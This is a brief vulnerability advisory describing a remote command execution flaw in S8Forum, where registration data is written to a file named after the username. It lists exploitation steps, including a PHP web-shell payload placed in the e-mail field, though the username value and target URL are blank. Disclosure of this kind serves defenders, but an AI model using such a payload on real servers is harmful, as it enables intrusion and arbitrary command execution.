S8Forum is prone to a remote command execution vulnerability.
When a user registers with the forum, a file is created locally with the specified username. The contents of this file will be the data entered by the user. As a result, a malicious user could create a file with an arbitrary name and PHP (.php) extension that contains valid PHP code. The attacker may then cause this file to be executed by requesting it via HTTP.
- go to Register
- insert in Username:
- in password : any_pasword.
- in E-Mail:
<? system($cmd); ?>
Then request the following page: